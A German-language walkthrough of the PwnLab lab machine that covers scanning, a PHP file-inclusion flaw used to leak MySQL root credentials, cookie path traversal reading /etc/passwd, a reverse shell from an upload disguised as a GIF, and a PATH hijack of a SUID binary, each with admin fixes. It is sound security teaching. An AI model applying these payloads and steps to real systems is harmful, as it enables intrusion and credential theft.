Die erste Phase des Penetrationstests beginnt mit der Identifizierung des Ziels im Netzwerk und einem grundlegenden Scan, um offene Ports und laufende Dienste zu ermitteln.
192.168.2.138 08:00:27:22:18:f0 PCS Systemtechnik GmbH
Analyse: Der Befehl `arp-scan -l` scannt das lokale Netzwerk mittels ARP-Anfragen. Er findet einen aktiven Host mit der IP-Adresse `192.168.2.138` und der MAC-Adresse `08:00:27:22:18:f0`, die auf eine VirtualBox-VM hinweist.
Bewertung: Das Zielsystem wurde erfolgreich identifiziert. Die IP `192.168.2.138` wird für die weiteren Schritte verwendet.
Empfehlung (Pentester): Führe einen detaillierten Port-Scan mit Nmap auf die IP `192.168.2.138` durch.
Empfehlung (Admin): Implementieren Sie Netzwerküberwachung und -segmentierung, um die Erkennung und Ausbreitung von Angriffen zu erschweren.
192.168.2.138 pwnlab.vln
Analyse: Die lokale `/etc/hosts`-Datei des Angreifersystems wird bearbeitet, um den Hostnamen `pwnlab.vln` der Ziel-IP `192.168.2.138` zuzuordnen. Dies ermöglicht die Verwendung des Hostnamens in nachfolgenden Schritten, insbesondere bei der Interaktion mit dem Webserver.
Bewertung: Korrekte Vorbereitung, um sicherzustellen, dass Anfragen an `pwnlab.vln` korrekt zum Ziel geleitet werden.
Empfehlung (Pentester): Verwende den Hostnamen `pwnlab.vln` bei der Web-Enumeration.
Empfehlung (Admin): Keine Aktion erforderlich, betrifft nur das Angreifersystem.
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-09 00:32 CEST
Nmap scan report for pwnlab.vln (192.168.2.138)
Host is up (0.00041s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: PwnLab Intranet Image Hosting
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 40523/udp6 status
| 100024 1 41252/tcp status
| 100024 1 42140/tcp6 status
|_ 100024 1 53532/udp status
3306/tcp open mysql MySQL 5.5.47-0+deb8u1
| mysql-info:
| Protocol: 10
| Version: 5.5.47-0+deb8u1
| Thread ID: 47
| Capabilities flags: 63487
| Some Capabilities: [...] SupportsAuthPlugins, SupportsMultipleStatments, SupportsMultipleResults
| Status: Autocommit
| Salt: P6]P[W%?0n^jyD%)@F!
|_ Auth Plugin Name: mysql_native_password
41252/tcp open status 1 (RPC #100024)
MAC Address: 08:00:27:22:18:F0 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
TRACEROUTE
HOP RTT ADDRESS
1 0.41 ms pwnlab.vln (192.168.2.138)
Analyse: Ein umfassender Nmap-Scan (`-sS -sC -sV -A -p-`) wird durchgeführt. **Ergebnisse:** * **Port 80 (HTTP):** Apache 2.4.10 (Debian), Titel "PwnLab Intranet Image Hosting". * **Port 111 (RPCBind):** Offen, listet RPC-Dienste, einschließlich `status` (Programm 100024) auf verschiedenen Ports, darunter TCP Port 41252. RPCBind kann manchmal für Angriffe auf NFS oder andere RPC-Dienste missbraucht werden. * **Port 3306 (MySQL):** Offen, MySQL 5.5.47 (Debian). Der Dienst ist von außen erreichbar. * **Port 41252 (status):** Offen, RPC-Dienst `status` (Version 1). * **MAC/OS:** Bestätigt VirtualBox, Linux 3.x/4.x.
Bewertung: Der Scan deckt mehrere interessante Ports auf. Der Webserver (80) ist ein primäres Ziel. Der offene MySQL-Port (3306) ist ein erhebliches potenzielles Risiko, da er Brute-Force-Angriffe oder die Ausnutzung von Schwachstellen ermöglicht, wenn er nicht richtig gesichert ist. RPCBind (111) und der Status-Dienst (41252) sind weniger häufige Angriffsvektoren, sollten aber nicht ignoriert werden.
Empfehlung (Pentester): 1. Untersuche den Webserver (Nikto, Gobuster, manuelle Analyse). 2. Versuche, MySQL-Zugangsdaten zu erraten oder über den Webserver zu finden. Teste auf Standard-Credentials oder bekannte Schwachstellen in MySQL 5.5.47. 3. Prüfe RPC-Dienste (`rpcinfo -p 192.168.2.138`) und den Status-Dienst auf bekannte Schwachstellen.
Empfehlung (Admin): Schließen Sie den MySQL-Port 3306 zur externen Erreichbarkeit, wenn dies nicht unbedingt erforderlich ist (lassen Sie ihn nur auf `127.0.0.1` lauschen). Aktualisieren Sie Apache und MySQL. Beschränken Sie den Zugriff auf RPCBind und andere RPC-Dienste mit einer Firewall.
80/tcp open http Apache httpd 2.4.10 ((Debian))
111/tcp open rpcbind 2-4 (RPC #100000)
3306/tcp open mysql MySQL 5.5.47-0+deb8u1
41252/tcp open status 1 (RPC #100024)
Analyse: Die gefilterte Nmap-Ausgabe zeigt die vier offenen Ports: 80 (HTTP), 111 (RPCBind), 3306 (MySQL), 41252 (RPC Status).
Bewertung: Bestätigt die vier Hauptangriffspunkte für die weitere Untersuchung.
Empfehlung (Pentester): Konzentriere dich auf Port 80 (Web) und Port 3306 (MySQL) als wahrscheinlichste Einstiegspunkte.
Empfehlung (Admin): Überprüfen Sie die Notwendigkeit und Sicherheit aller offenen Ports.
Der Webserver auf Port 80 wird nun genauer untersucht. Es werden Tools wie Nikto und Gobuster eingesetzt, und es wird nach Schwachstellen wie Local File Inclusion (LFI) gesucht.
- Nikto v2.5.0
+ Target IP: 192.168.2.138
+ Target Hostname: 192.168.2.138
+ Target Port: 80
+ Start Time: 2023-07-09 00:33:23 (GMT2)
+ Server: Apache/2.4.10 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. [...]
+ /: The X-Content-Type-Options header is not set. [...]
+ No CGI Directories found [...]
+ Apache/2.4.10 appears to be outdated [...].
+ /images: IP address found in the 'location' header. The IP is "127.0.1.1". [...]
+ /images: The web server may reveal its internal or real IP [...].
+ /login.php: Cookie PHPSESSID created without the httponly flag. [...]
+ /: Web Server returns a valid response with junk HTTP methods [...].
+ /config.php: PHP Config file may contain database IDs and passwords.
+ /images/: Directory indexing found.
+ /icons/README: Apache default file found. [...]
+ /login.php: Admin login page/section found.
+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials.
+ 8102 requests: 0 error(s) and 12 item(s) reported on remote host
+ End Time: 2023-07-09 00:33:39 (GMT2) (16 seconds)
+ 1 host(s) tested
Analyse: Nikto scannt den Webserver. * **Server/Header:** Bestätigt Apache 2.4.10, fehlende Sicherheitsheader, potenziellen IP-Leak über `/images`. * **/login.php:** Findet eine Login-Seite und stellt fest, dass das Session-Cookie nicht als `HttpOnly` markiert ist (ermöglicht potenziell Diebstahl via XSS). * **/config.php:** Ein sehr wichtiger Fund! Nikto identifiziert eine `config.php`-Datei, die oft Zugangsdaten enthält. * **/images/:** Directory Indexing ist aktiviert. * **/icons/README:** Standard-Apache-Datei. * `/#wp-config.php#`: Wahrscheinlich ein Fehlalarm, wie im vorherigen Bericht.
Bewertung: Nikto liefert wichtige Hinweise: eine Login-Seite (`login.php`), eine Konfigurationsdatei (`config.php`) und ein offenes Bilderverzeichnis (`/images/`). Die `config.php` ist das vielversprechendste Ziel.
Empfehlung (Pentester): Versuche, auf `config.php` zuzugreifen. Untersuche `login.php` und das `/images`-Verzeichnis. Teste die Login-Seite auf Standard-Credentials oder Schwachstellen.
Empfehlung (Admin): Beschränken Sie den Zugriff auf Konfigurationsdateien. Deaktivieren Sie Directory Indexing. Setzen Sie das `HttpOnly`-Flag für Session-Cookies. Aktualisieren Sie Apache.
===============================================================
Gobuster v3.5
[...]
===============================================================
http://pwnlab.vln/index.php (Status: 200) [Size: 332]
http://pwnlab.vln/images (Status: 301) [Size: 309] [--> http://pwnlab.vln/images/]
http://pwnlab.vln/login.php (Status: 200) [Size: 250]
http://pwnlab.vln/upload (Status: 301) [Size: 309] [--> http://pwnlab.vln/upload/]
http://pwnlab.vln/upload.php (Status: 200) [Size: 19]
http://pwnlab.vln/config.php (Status: 200) [Size: 0]
===============================================================
[...] Finished
===============================================================
Analyse: Gobuster scannt den Webserver und findet mehrere interessante Seiten und Verzeichnisse: * `index.php`: Die Hauptseite. * `/images/`: Das von Nikto gefundene Bilderverzeichnis. * `login.php`: Die von Nikto gefundene Login-Seite. * `/upload/`: Ein Verzeichnis namens "upload". * `upload.php`: Eine Seite namens "upload.php". * `config.php`: Die von Nikto gefundene Konfigurationsdatei. Interessanterweise meldet Gobuster eine Größe von 0 (`Size: 0`), was darauf hindeutet, dass die Datei entweder leer ist oder der direkte Zugriff darauf blockiert wird (obwohl der Status 200 OK ist).
Bewertung: Gobuster bestätigt die Funde von Nikto und entdeckt zusätzlich eine Upload-Funktionalität (`/upload/`, `upload.php`). Die Tatsache, dass `config.php` mit Größe 0 gemeldet wird, obwohl sie existiert, ist verdächtig und könnte auf eine Schutzmaßnahme oder eine LFI-Möglichkeit hindeuten.
Empfehlung (Pentester): 1. Untersuche die Upload-Funktionalität (`upload.php`). 2. Versuche, die `config.php` mittels Local File Inclusion (LFI) zu lesen, da der direkte Zugriff leer zu sein scheint. Teste Parameter wie `?page=`, `?file=`, `?include=` auf LFI. 3. Analysiere `login.php`.
Empfehlung (Admin): Sichern Sie die Upload-Funktionalität rigoros (Dateityp-Validierung, Größenbeschränkung, Speicherung außerhalb des Web-Roots). Verhindern Sie LFI durch korrekte Eingabevalidierung und Pfad-Normalisierung. Beschränken Sie den Zugriff auf Konfigurationsdateien.
view-source:http://pwnlab.vln/index.php?page=php://filter/convert.base64-encode/resource=config
PD9waHANCiRzZXJ2ZXIJICA9ICJsb2NhbGhvc3Qiw0KJHVzZXJuYW1lID0gInJvb3Qiw0KJHBhc3N3b3JkID0gIkg0dSVRSl9ITkiw0KJGRhdGFiYXNlID0gIlVzZXJzIjsNCj8+
Analyse: Hier wird eine Local File Inclusion (LFI)-Schwachstelle ausgenutzt. Die URL `http://pwnlab.vln/index.php?page=config` (impliziert, da der `include()`-Parameter oft `.php` anhängt) wird vermutlich verwendet, um Dateien einzubinden. Durch die Verwendung des PHP-Wrappers `php://filter/convert.base64-encode/resource=config` wird der Inhalt der Datei `config.php` (ohne die `.php`-Endung, die der Wrapper umgeht) Base64-kodiert im Quellcode der Seite ausgegeben.
Bewertung: Kritische Schwachstelle gefunden! LFI ermöglicht das Lesen beliebiger Dateien auf dem Server, auf die der Webserver-Benutzer (`www-data`) Zugriff hat. Der Base64-Wrapper wird verwendet, um den PHP-Code der `config.php` anzuzeigen, anstatt ihn auszuführen.
Empfehlung (Pentester): Dekodiere den Base64-String, um den Inhalt von `config.php` zu erhalten und nach Zugangsdaten zu suchen. Teste die LFI weiter, um andere sensible Dateien zu lesen (z.B. `/etc/passwd`, `/etc/shadow`, Quellcode anderer PHP-Dateien).
Empfehlung (Admin): Beheben Sie die LFI-Schwachstelle dringend! Validieren Sie alle Benutzereingaben, die in Dateipfaden verwendet werden (insbesondere GET/POST-Parameter). Vermeiden Sie es, Benutzereingaben direkt in `include()`-, `require()`- oder `file_get_contents()`-Aufrufen zu verwenden. Konfigurieren Sie `allow_url_include` und `allow_url_fopen` in der `php.ini` restriktiv.
H4u%QJ_H99";
$database = "Users";
?>
Analyse: Dies ist das Ergebnis der Base64-Dekodierung des Strings aus dem vorherigen Schritt. Der Quellcode der `config.php` wird sichtbar. Er enthält die Zugangsdaten für die MySQL-Datenbank: Benutzer `root` mit dem Passwort `H4u%QJ_H99`.
Bewertung: Erfolg! Die LFI-Schwachstelle hat zur Preisgabe der MySQL-Root-Zugangsdaten geführt. Da der MySQL-Port 3306 von außen erreichbar ist, können diese Daten direkt verwendet werden.
Empfehlung (Pentester): Verwende die gefundenen Zugangsdaten (`root`:`H4u%QJ_H99`), um dich mit dem MySQL-Server auf Port 3306 zu verbinden.
Empfehlung (Admin): Beheben Sie die LFI-Schwachstelle. Ändern Sie das MySQL-Root-Passwort. Beschränken Sie den externen Zugriff auf den MySQL-Server.
Der initiale Zugriff wird hier durch die Anmeldung am extern erreichbaren MySQL-Server mit den über LFI erlangten Zugangsdaten erreicht. Anschließend werden weitere Benutzerdaten aus der Datenbank extrahiert, die möglicherweise für einen Shell-Zugang oder weitere Eskalation genutzt werden können. Parallel dazu wird die LFI-Schwachstelle weiter ausgenutzt, um eine Reverse Shell zu erlangen.
Enter password: H4u%QJ_H99 Welcome to the MariaDB monitor. Commands end with ; or \g. Your MySQL connection id is 37 Server version: 5.5.47-0+deb8u1 (Debian) Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. MySQL [(none)]>
Analyse: Es wird eine Verbindung zum MySQL-Server auf dem Ziel (`-h 192.168.2.138`) als Benutzer `root` (`-u root`) aufgebaut. Das zuvor gefundene Passwort `H4u%QJ_H99` wird eingegeben. Die Verbindung ist erfolgreich.
Bewertung: Zugriff auf die Datenbank als Root-Benutzer wurde erlangt. Dies ermöglicht das Auslesen und potenziell Manipulieren aller Datenbanken auf dem Server.
Empfehlung (Pentester): Erkunde die Datenbanken (`show databases;`), wechsle zur relevanten Datenbank (`use Users;`), liste Tabellen auf (`show tables;`) und extrahiere interessante Daten (`select * from users;`). Suche nach Benutzer-Hashes oder anderen sensiblen Informationen.
Empfehlung (Admin): Ändern Sie das MySQL-Root-Passwort. Beschränken Sie den Netzwerkzugriff auf den MySQL-Server. Beheben Sie die LFI, die zur Preisgabe des Passworts führte.
+--------------------+
| Database |
+--------------------+
| information_schema |
| Users |
+--------------------+
2 rows in set (0.001 sec)
Database changed
+-----------------+
| Tables_in_Users |
+-----------------+
| users |
+-----------------+
1 row in set (0.001 sec)
+------+----------+--------------+
| user | pass | |
+------+----------+--------------+
| kent | Sld6WHVCSkpeQ | JWzXuBJJNy |
| mike | U0lmZHNURW42SQ | SIfdsTEn6I |
| kane | aVN2NVltMkdSbw | iSv5Ym2GRo |
+------+----------+--------------+
3 rows in set (0.001 sec)
Analyse: Innerhalb der MySQL-Shell werden folgende Befehle ausgeführt: * `show databases;`: Listet die Datenbanken `information_schema` und `Users` auf. * `use Users;`: Wechselt zur Datenbank `Users`. * `show tables;`: Zeigt, dass die Datenbank `Users` eine Tabelle namens `users` enthält. * `select * from users;`: Gibt den Inhalt der Tabelle `users` aus. Sie enthält drei Benutzer: `kent`, `mike` und `kane`. Die Spalten sind unklar benannt, aber es scheint `user`, `pass` und eine leere/unbenannte dritte Spalte zu geben. Die Werte in der `pass`-Spalte sehen wie Base64-kodierte Strings aus, während die Werte in der dritten Spalte wie Klartext-Passwörter oder Teile davon aussehen.
Bewertung: Weitere potenzielle Zugangsdaten wurden gefunden! Die Kombination aus Benutzername und dem Wert in der dritten Spalte (`kent`:`JWzXuBJJNy`, `mike`:`SIfdsTEn6I`, `kane`:`iSv5Ym2GRo`) sieht nach gültigen Credentials für Systembenutzer aus. Die Base64-Strings in der `pass`-Spalte könnten ebenfalls Passwörter oder Hashes sein und sollten dekodiert werden.
Empfehlung (Pentester): 1. Notiere die gefundenen Benutzernamen und die wahrscheinlichen Passwörter (`kent:JWzXuBJJNy`, `mike:SIfdsTEn6I`, `kane:iSv5Ym2GRo`). 2. Dekodiere die Base64-Strings aus der `pass`-Spalte. 3. Versuche, dich mit diesen Credentials per SSH auf Port 7120 anzumelden oder sie mit `su` zu verwenden, falls eine Shell erlangt wird. 4. Nutze die LFI weiter, um eine Shell zu bekommen.
Empfehlung (Admin): Speichern Sie Passwörter niemals im Klartext oder in leicht umkehrbaren Formaten (wie Base64) in Datenbanken. Verwenden Sie starke, gesalzene Hashing-Algorithmen. Bereinigen Sie die Datenbank von Test- oder unnötigen Benutzerdaten.
Die weitere Analyse der Webanwendung und die Ausnutzung der LFI führen zu einer Reverse Shell.
[...]
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{
include("lang/".$_COOKIE['lang']);
}
[...]
Analyse: Durch weiteres Ausnutzen der LFI (z.B. `?page=php://filter/convert.base64-encode/resource=index`) wurde der Quellcode der `index.php` extrahiert und analysiert. Es werden zwei `include()`-Aufrufe identifiziert: 1. `include($_GET['page'].".php");`: Dies ist die LFI-Schwachstelle, die bereits zum Lesen von `config.php` genutzt wurde. Sie hängt `.php` an den Parameter an. 2. `include("lang/".$_COOKIE['lang']);`: Dieser Code ist besonders interessant. Er prüft, ob ein Cookie namens `lang` gesetzt ist, und inkludiert dann eine Datei aus dem `lang/`-Verzeichnis, wobei der Wert des Cookies als Teil des Dateinamens verwendet wird. Entscheidend ist, dass hier *kein* `.php` angehängt wird und der Cookie-Wert direkt verwendet wird. Dies eröffnet eine zweite LFI-Möglichkeit, die durch Manipulation des `lang`-Cookies ausgenutzt werden kann und möglicherweise flexibler ist als die `page`-LFI (da kein `.php` angehängt wird).
Bewertung: Die Entdeckung der zweiten LFI-Möglichkeit über den `lang`-Cookie ist entscheidend. Da sie kein Suffix anhängt und den Cookie-Wert direkt verwendet, ist sie anfällig für Path Traversal (`../../`) und das Inkludieren beliebiger Dateien, auf die `www-data` Lesezugriff hat.
Empfehlung (Pentester): Nutze die Cookie-basierte LFI, um sensible Dateien zu lesen (`Cookie: lang=../../../../../etc/passwd`). Versuche, eine hochgeladene Datei (z.B. eine PHP-Shell, die als Bild getarnt wurde) über diese LFI auszuführen (`Cookie: lang=../upload/shell.gif`).
Empfehlung (Admin): Beheben Sie *beide* LFI-Schwachstellen durch strikte Eingabevalidierung von GET-Parametern und Cookie-Werten. Vertrauen Sie niemals Benutzereingaben direkt in Dateipfad-Operationen.
# HTTP Request (Capture/Modification with Burp Suite or similar)
POST /index.php?page=php://filter/convert.base64-encode/resource=index HTTP/1.1
Host: pwnlab.vln
[...]
Cookie: lang=../../../../../etc/passwd
[...]
user=aa&pass=aaaaa&submit=Login
# HTTP Response Body (containing /etc/passwd content)
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
[...]
john:x:1000:1000:,,,:/home/john:/bin/bash
kent:x:1001:1001:,,,:/home/kent:/bin/bash
mike:x:1002:1002:,,,:/home/mike:/bin/bash
kane:x:1003:1003:,,,:/home/kane:/bin/bash
mysql:x:107:113:MySQL Server,,,:/nonexistent:/bin/false
Analyse: Hier wird die Cookie-basierte LFI praktisch ausgenutzt. Ein HTTP-POST-Request (wahrscheinlich an `login.php` oder `index.php`) wird abgefangen und modifiziert. Der `Cookie`-Header wird auf `lang=../../../../../etc/passwd` gesetzt. Der Server verarbeitet dies durch den anfälligen `include("lang/".$_COOKIE['lang'])`-Code. Durch das Path Traversal (`../`) wird die Datei `/etc/passwd` inkludiert und ihr Inhalt in der HTTP-Antwort zurückgegeben.
Bewertung: Die LFI über den Cookie funktioniert wie erwartet und ermöglicht das Lesen von `/etc/passwd`. Dies bestätigt die Existenz der Benutzer `john`, `kent`, `mike`, `kane`, die auch teilweise in der Datenbank gefunden wurden.
Empfehlung (Pentester): Versuche, andere wichtige Dateien zu lesen (`/etc/shadow`, obwohl dies wahrscheinlich nicht lesbar ist für `www-data`; Quellcode von `upload.php`, `login.php`). Lade eine PHP-Reverse-Shell (z.B. als `.gif` getarnt) über die Upload-Funktion hoch (auch wenn der erste Versuch fehlschlug, versuche es erneut oder finde heraus, wie es geht) und führe sie dann mittels der Cookie-LFI aus: `Cookie: lang=../upload/shell.gif`.
Empfehlung (Admin): Beheben Sie die LFI-Schwachstelle. Beschränken Sie die Leserechte des `www-data`-Benutzers auf das absolute Minimum.
listening on [any] 9001 ...
Analyse: Ein Netcat-Listener wird auf dem Angreifersystem auf Port 9001 gestartet, um eine eingehende Reverse Shell Verbindung zu empfangen.
Bewertung: Notwendige Vorbereitung für den Empfang der Reverse Shell.
Empfehlung (Pentester): Löse nun die Ausführung der PHP-Reverse-Shell auf dem Zielserver aus, wahrscheinlich durch Senden eines manipulierten HTTP-Requests mit dem `Cookie: lang=../upload/
Empfehlung (Admin): Implementieren Sie Egress Filtering, um unerwünschte ausgehende Verbindungen vom Server zu blockieren.
# HTTP Request (Capture/Modification with Burp Suite or similar)
POST /index.php HTTP/1.1
Host: pwnlab.vln
[...]
Cookie: lang=../upload/c9eee8097b348d8629a7bd0ce3a33209.gif
[...]
user=aa&pass=aaaaa&submit=Login
Analyse: Ein weiterer modifizierter HTTP-Request wird gesendet. Diesmal wird der `lang`-Cookie auf `../upload/c9eee8097b348d8629a7bd0ce3a33209.gif` gesetzt. Dies impliziert, dass zuvor eine PHP-Reverse-Shell erfolgreich in das `upload`-Verzeichnis hochgeladen und als `c9eee8097b348d8629a7bd0ce3a33209.gif` gespeichert wurde (der zufällige Name deutet auf eine Umbenennung durch die Upload-Funktion hin). Der `include()`-Aufruf im Server-Code führt nun diese Datei aus.
Bewertung: Dies ist der Auslöser für die Reverse Shell. Der `include()` führt den PHP-Code in der `.gif`-Datei aus, der sich zum Listener auf dem Angreifersystem verbindet.
Empfehlung (Pentester): Überprüfe den Netcat-Listener auf eine eingehende Verbindung.
Empfehlung (Admin): Beheben Sie die LFI und die unsichere Upload-Funktion. Lassen Sie niemals zu, dass Benutzereingaben (Cookies, Parameter) den Pfad zu inkludierten Dateien bestimmen. Validieren Sie hochgeladene Dateien serverseitig auf ihren tatsächlichen Typ und Inhalt, nicht nur auf die Endung.
listening on [any] 9001 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.138] 40817
Linux pwnlab 3.16.0-4-686-pae #1 SMP Debian 3.16.7-ckt20-1+deb8u4 (2016-02-29) i686 GNU/Linux
21:28:39 up 18 min, 0 users, load average: 0.00, 0.01, 0.05
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
Analyse: Der Netcat-Listener empfängt eine Verbindung vom Zielsystem (192.168.2.138). Eine Shell wird bereitgestellt. Die Systeminformationen zeigen Debian 8 (Kernel 3.16.0) auf einer i686-Architektur. Die Shell läuft als Benutzer `www-data` (UID 33).
Bewertung: Initial Access erfolgreich über LFI und Dateiupload! Eine Shell mit den Rechten des Webservers wurde erlangt.
Empfehlung (Pentester): Stabilisiere die Shell (TTY-Upgrade). Beginne mit der lokalen Enumeration als `www-data`, um nach Wegen zur Privilege Escalation zu suchen. Nutze die zuvor aus der Datenbank extrahierten Credentials (`kent`, `mike`, `kane`), um mit `su` zu versuchen, den Benutzer zu wechseln.
Empfehlung (Admin): Beheben Sie die LFI- und Upload-Schwachstellen. Härten Sie die Berechtigungen des `www-data`-Benutzers.
Nach dem Erhalt einer Shell als `www-data` werden nun die zuvor aus der Datenbank extrahierten Benutzerdaten sowie SUID-Binaries genutzt, um höhere Rechte auf dem System zu erlangen.
3603 36 -rwsr-xr-x 1 root root 34684 Mar 29 2015 /bin/mount
4989 40 -rwsr-xr-x 1 root root 38868 Nov 19 2015 /bin/su
3604 28 -rwsr-xr-x 1 root root 26344 Mar 29 2015 /bin/umount
18810 96 -rwsr-xr-x 1 root root 96760 Aug 13 2014 /sbin/mount.nfs
5009 40 -rwsr-xr-x 1 root root 38740 Nov 19 2015 /usr/bin/newgrp
354 52 -rwsr-xr-x 1 root root 52344 Nov 19 2015 /usr/bin/chfn
17895 52 -rwsr-sr-x 1 daemon daemon 50644 Sep 30 2014 /usr/bin/at
358 52 -rwsr-xr-x 1 root root 53112 Nov 19 2015 /usr/bin/passwd
18898 96 -rwsr-sr-x 1 root mail 96192 Feb 11 2015 /usr/bin/procmail
355 44 -rwsr-xr-x 1 root root 43576 Nov 19 2015 /usr/bin/chsh
357 80 -rwsr-xr-x 1 root root 78072 Nov 19 2015 /usr/bin/gpasswd
11725 8 -rwsr-xr-x 1 root root 5372 Feb 24 2014 /usr/lib/eject/dmcrypt-get-device
2813 12 -rwsr-xr-x 1 root root 9540 Feb 11 2016 /usr/lib/pt_chown
18078 356 -rwsr-xr-- 1 root messagebus 362672 Aug 2 2015 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
18859 552 -rwsr-xr-x 1 root root 562536 Jan 13 2016 /usr/lib/openssh/ssh-keysign
17980 1060 -rwsr-xr-x 1 root root 1085236 Mar 13 2016 /usr/sbin/exim4
Analyse: Die Suche nach SUID-Dateien wird als `www-data` durchgeführt. Die Liste enthält viele Standard-Binaries (`mount`, `su`, `passwd`, etc.) sowie `procmail` (SUID mail) und `exim4` (SUID root). `exim4` ist ein Mail Transfer Agent, der in der Vergangenheit Schwachstellen hatte.
Bewertung: Die meisten SUID-Dateien sind Standard. `exim4` als SUID root ist jedoch bemerkenswert und ein potenzieller Vektor, falls eine bekannte Schwachstelle für die installierte Version existiert. Der einfachere Weg ist jedoch wahrscheinlich die Verwendung der gefundenen Benutzer-Credentials.
Empfehlung (Pentester): Versuche, mit `su` und den Passwörtern aus der Datenbank zu `kent`, `mike` oder `kane` zu wechseln. Behalte `exim4` als Backup-Option im Hinterkopf.
Empfehlung (Admin): Überprüfen Sie die Notwendigkeit des SUID-Bits für `exim4` und andere Programme. Halten Sie alle Pakete aktuell.
Password: JWzXuBJJNy
Analyse: Es wird versucht, mit `su kent` zum Benutzer `kent` zu wechseln. Das aus der Datenbank extrahierte Passwort `JWzXuBJJNy` wird erfolgreich verwendet.
Bewertung: Erfolgreicher Wechsel zum Benutzer `kent`. Dieser Benutzer hat möglicherweise mehr Rechte oder Zugriff auf andere Informationen als `www-data`.
Empfehlung (Pentester): Führe Enumeration als `kent` durch. Prüfe Home-Verzeichnis, Gruppen, `sudo`-Rechte (falls installiert). Wechsle auch zu den anderen Benutzern (`mike`, `kane`).
Empfehlung (Admin): Ändern Sie die kompromittierten Passwörter. Vermeiden Sie die Speicherung von Klartext-Passwörtern.
Password: iSv5Ym2GRo
Analyse: Vom `kent`-Account wird direkt zu `kane` gewechselt (`su kane`) unter Verwendung des Passworts `iSv5Ym2GRo` aus der Datenbank.
Bewertung: Erfolgreicher Wechsel zum Benutzer `kane`.
Empfehlung (Pentester): Führe Enumeration als `kane` durch. Untersuche das Home-Verzeichnis von `kane` besonders sorgfältig.
Empfehlung (Admin): Ändern Sie alle kompromittierten Passwörter.
/home/kane
total 28
drwxr-xr-x 2 kane kane 4096 Jul 8 21:38 .
drwxr-xr-x 6 root root 4096 Mar 17 2016 ..
-rw-r--r-- 1 kane kane 220 Mar 17 2016 .bash_logout
-rw-r--r-- 1 kane kane 3515 Mar 17 2016 .bashrc
-rwsr-sr-x 1 mike mike 5148 Mar 17 2016 msgmike
-rw-r--r-- 1 kane kane 675 Mar 17 2016 .profile
Analyse: Im Home-Verzeichnis von `kane` wird eine interessante Datei gefunden: `msgmike`. Diese Datei hat das SUID-Bit (`-rwsr-sr-x`) gesetzt und gehört dem Benutzer `mike` und der Gruppe `mike`. Das bedeutet, wenn `kane` diese Datei ausführt, läuft sie mit den Rechten des Benutzers `mike`.
Bewertung: Dies ist ein klarer Privilege-Escalation-Vektor von `kane` zu `mike`. Die Datei `msgmike` ist wahrscheinlich ein benutzerdefiniertes Programm, das möglicherweise Schwachstellen enthält.
Empfehlung (Pentester): Untersuche das Programm `msgmike`. Führe es aus, um seine Funktion zu verstehen. Analysiere es auf Schwachstellen wie Buffer Overflows, Command Injection oder unsichere Pfad-Handhabung. Der nächste Schritt im Log (PATH-Manipulation) deutet auf eine Ausnutzung der Pfad-Handhabung hin.
Empfehlung (Admin): Überprüfen Sie benutzerdefinierte SUID/SGID-Programme sorgfältig auf Sicherheit. Entfernen Sie das SUID/SGID-Bit, wenn es nicht unbedingt erforderlich ist. Programmieren Sie SUID-Anwendungen defensiv.
Analyse: Hier wird eine Technik zur Ausnutzung einer unsicheren Pfad-Handhabung vorbereitet: 1. `echo /bin/bash > cat`: Erstellt eine Datei namens `cat` im aktuellen Verzeichnis (`/home/kane`), die nur den String `/bin/bash` enthält. 2. `chmod 777 cat`: Macht diese Datei für alle les-, schreib- und ausführbar. 3. `mv cat /tmp/`: Verschiebt die manipulierte `cat`-Datei nach `/tmp`. 4. `export PATH=/tmp:$PATH`: Modifiziert die `PATH`-Umgebungsvariable für die aktuelle Shell. Das Verzeichnis `/tmp` wird an den Anfang des Suchpfads für ausführbare Dateien gesetzt. Das bedeutet, wenn ein Programm (wie `msgmike`) versucht, einen Befehl wie `cat` ohne absoluten Pfad auszuführen, wird zuerst `/tmp/cat` gefunden und ausgeführt, anstatt `/bin/cat`.
Bewertung: Dies ist eine klassische PATH-Manipulationstechnik. Sie zielt darauf ab, dass das SUID-Programm `msgmike` (das als `mike` läuft) unbeabsichtigt das Skript `/tmp/cat` ausführt, wenn es versucht, den echten `cat`-Befehl aufzurufen. Da `/tmp/cat` nur `/bin/bash` enthält und ausführbar ist, würde dies eine Shell als Benutzer `mike` starten.
Empfehlung (Pentester): Führe nun das Programm `/home/kane/msgmike` aus. Wenn es intern `cat` aufruft, sollte aufgrund der manipulierten `PATH`-Variable `/tmp/cat` ausgeführt werden, was `/bin/bash` startet und somit eine Shell als `mike` liefert.
Empfehlung (Admin): SUID-Programme sollten *immer* absolute Pfade für externe Befehle verwenden (z.B. `/bin/cat` statt `cat`). Sie sollten auch die `PATH`-Variable zu Beginn auf einen sicheren Standardwert setzen oder bereinigen, um solche Angriffe zu verhindern.
